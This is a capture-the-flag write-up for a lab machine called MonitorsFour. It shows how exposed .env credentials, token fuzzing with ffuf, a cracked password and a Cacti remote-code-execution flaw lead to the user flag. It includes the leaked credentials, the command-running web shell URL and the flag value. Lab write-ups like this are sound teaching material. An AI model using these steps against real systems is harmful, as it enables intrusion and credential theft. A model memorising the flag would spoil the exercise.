MonitorsFour¶

Initial Scan¶

Discovered open port 80/tcp on 10.129.165.106

Port 80 is HTTP.

Enumeration¶

The main site at http://monitorsfour.htb/ exposes a .env file at http://monitorsfour.htb/.env:

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

Fuzzing the site reveals a /user endpoint:

http://monitorsfour.htb/user

This returns {"error":"Missing token parameter"}. Passing any token value confirms the parameter is recognized but the token must be valid.

Token Enumeration¶

We fuzz the token parameter with a numeric wordlist:

ffuf -u http://monitorsfour.htb/user?token=FUZZ -w ~/wordlists/custom/ids.txt

Token 0 returns a different response size, containing a JSON array of all users with their credentials:

Cracking MD5 Hashes¶

The admin password hash cracks on CrackStation:

Exploitation¶

Cacti runs on a subdomain at http://cacti.monitorsfour.htb/cacti/. We log in with:

Username: Marcus
Password: wonderful1

CVE-2025-24367 - Cacti RCE¶

Using the exploit from the Cacti security advisory (GHSA-fxrq-fr7h-9rqq), we achieve remote code execution via a crafted PHP payload:

http://cacti.monitorsfour.htb/cacti/xxx2.php?cmd=cat+/home/marcus/user.txt

This gives us the user flag.

Flags¶

user.txt: 6b23344a2e7b9d69a67648e0ea4f1320 root.txt: flag{****}